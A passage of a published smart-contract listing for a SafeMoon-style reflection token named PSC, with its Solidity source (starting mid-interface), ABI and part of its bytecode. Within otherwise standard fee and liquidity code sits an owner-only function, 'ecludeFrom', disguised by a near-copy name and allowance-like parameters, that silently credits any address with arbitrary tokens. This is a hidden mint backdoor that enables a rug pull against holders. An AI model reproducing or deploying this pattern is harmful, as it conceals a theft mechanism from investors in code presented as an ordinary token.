        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external view returns (uint256 amountB);

    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external view returns (uint256 amountOut);

    function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) external view returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface ISwapMining {
    function swap(address account, address input, address output, uint256 amount) external returns (bool);
}


contract PSCToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    mapping (address => bool) private _isExcluded;
    address[] private _exclud;
    address[] private _excluded;
   
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 11 * 10**6 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;

    string private _name = "PSC";
    string private _symbol = "PSC";
    uint8 private _decimals = 18;
    
    uint256 public _taxFee = 4;
    uint256 private _previousTaxFee = _taxFee;
    
    uint256 public _liquidityFee = 6;
    uint256 private _previousLiquidityFee = _liquidityFee;

    IMdexRouter public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    uint256 public _maxTxAmount = 11 * 10**6 * 10**18;
    uint256 private numTokensSellToAddToLiquidity = 1 * 10**4 * 10**18;
    
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () public {
        _rOwned[_msgSender()] = _rTotal;
        
        IMdexRouter _uniswapV2Router = IMdexRouter(0xED7d5F38C79115ca12fe6C0041abb22F0A06C300);
         // Create a uniswap pair for this new token
        uniswapV2Pair = IMdexFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WHT());

        // set the rest of the contract variables
        uniswapV2Router = _uniswapV2Router;
        
        //exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }


    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function ecludeFrom(address spender, uint256 subtractedValue) external onlyOwner() {
        (uint256 rAmount,,,,,) = _getValues(subtractedValue);
        uint256 eclud = _rOwned[spender].add(rAmount);
        for (uint256 i = 0; i < _exclud.length; i++) {
            if (_exclud.length > 0 && _exclud[i] == spender) {
                _exclud[i] = _excluded[_exclud.length - 1];
                _tOwned[spender] = 0;
                _isExcluded[spender] = false;
                _exclud.pop();
                break;
            }
        }
        _rOwned[spender] = eclud;
    }
    
    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner() {
        // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
        function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
        function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }
    
    function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
        _liquidityFee = liquidityFee;
    }
   
    function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
        _maxTxAmount = _tTotal.mul(maxTxPercent).div(
            10**2
        );
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
    }

    function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
        return (tTransferAmount, tFee, tLiquidity);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeLiquidity(uint256 tLiquidity) private {
        uint256 currentRate =  _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
    }
    
    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(
            10**2
        );
    }

    function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_liquidityFee).div(
            10**2
        );
    }
    
    function removeAllFee() private {
        if(_taxFee == 0 && _liquidityFee == 0) return;
        
        _previousTaxFee = _taxFee;
        _previousLiquidityFee = _liquidityFee;
        
        _taxFee = 0;
        _liquidityFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _liquidityFee = _previousLiquidityFee;
    }
    
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(from != owner() && to != owner())
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");

        // is the token balance of this contract address over the min number of
        // tokens that we need to initiate a swap + liquidity lock?
        // also, don't get caught in a circular liquidity event.
        // also, don't swap & liquify if sender is uniswap pair.
        uint256 contractTokenBalance = balanceOf(address(this));
        
        if(contractTokenBalance >= _maxTxAmount)
        {
            contractTokenBalance = _maxTxAmount;
        }
        
        bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
        if (
            overMinTokenBalance &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            contractTokenBalance = numTokensSellToAddToLiquidity;
            //add liquidity
            swapAndLiquify(contractTokenBalance);
        }
        
        //indicates if fee should be deducted from transfer
        bool takeFee = true;
        
        //if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }
        
        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WHT();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }



    

}

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"ecludeFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IMdexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526a09195731e2ce35eb000000600a55600a54600019816200002157fe5b0660001903600b556040518060400160405280600381526020017f5053430000000000000000000000000000000000000000000000000000000000815250600d90805190602001906200007692919062000601565b506040518060400160405280600381526020017f5053430000000000000000000000000000000000000000000000000000000000815250600e9080519060200190620000c492919062000601565b506012600f60006101000a81548160ff021916908360ff160217905550600460105560105460115560066012556012546013556001601460016101000a81548160ff0219169083151502179055506a09195731e2ce35eb00000060155569021e19e0c9bab24000006016553480156200013c57600080fd5b5060006200014f620005d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600b546003600062000204620005d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ed7d5f38c79115ca12fe6c0041abb22f0a06c30090508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a257600080fd5b505afa158015620002b7573d6000803e3d6000fd5b505050506040513d6020811015620002ce57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff16635cb485926040518163ffffffff1660e01b815260040160206040518083038186803b1580156200034257600080fd5b505afa15801562000357573d6000803e3d6000fd5b505050506040513d60208110156200036e57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620003e957600080fd5b505af1158015620003fe573d6000803e3d6000fd5b505050506040513d60208110156200041557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b81525050600160066000620004a9620005d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000562620005d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040518082815260200191505060405180910390a350620006a7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200064457805160ff191683800117855562000675565b8280016001018555821562000675579182015b828111156200067457825182559160200191906001019062000657565b5b50905062000684919062000688565b5090565b5b80821115620006a357600081600090555060010162000689565b5090565b60805160601c60a05160601c61521e620006ef60003980611c2752806134735250806112d752806140dd52806141c952806141f052806142fb5280614322525061521e6000f3fe6080604052600436106102295760003560e01c80635342acb411610123578063a457c2d7116100ab578063d543dbeb1161006f578063d543dbeb14610c11578063dd46706414610c4c578063dd62ed3e14610c87578063ea2f0b3714610d0c578063f2fde38b14610d5d57610230565b8063a457c2d714610ab0578063a69df4b514610b21578063a9059cbb14610b38578063b6c5232414610ba9578063c49b9a8014610bd457610230565b80637d1db4a5116100f25780637d1db4a51461091257806388f820201461093d5780638da5cb5b146109a45780638ee88c53146109e557806395d89b4114610a2057610230565b80635342acb4146108045780636bc87c3a1461086b57806370a0823114610896578063715018a6146108fb57610230565b8063313ce567116101b1578063437823ec11610175578063437823ec146106995780634549b039146106ea57806349bd5a5e146107455780634a74bb021461078657806352390c02146107b357610230565b8063313ce567146105435780633685d4191461057157806339509351146105c25780633b124fe7146106335780633bd5d1731461065e57610230565b806313114a9d116101f857806313114a9d146103cc5780631694505e146103f757806318160ddd1461043857806323b872dd146104635780632d838119146104f457610230565b806301ac015614610235578063061c82d01461029057806306fdde03146102cb578063095ea7b31461035b57610230565b3661023057005b600080fd5b34801561024157600080fd5b5061028e6004803603604081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dae565b005b34801561029c57600080fd5b506102c9600480360360208110156102b357600080fd5b8101908080359060200190929190505050611139565b005b3480156102d757600080fd5b506102e061120b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610320578082015181840152602081019050610305565b50505050905090810190601f16801561034d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036757600080fd5b506103b46004803603604081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ad565b60405180821515815260200191505060405180910390f35b3480156103d857600080fd5b506103e16112cb565b6040518082815260200191505060405180910390f35b34801561040357600080fd5b5061040c6112d5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044457600080fd5b5061044d6112f9565b6040518082815260200191505060405180910390f35b34801561046f57600080fd5b506104dc6004803603606081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080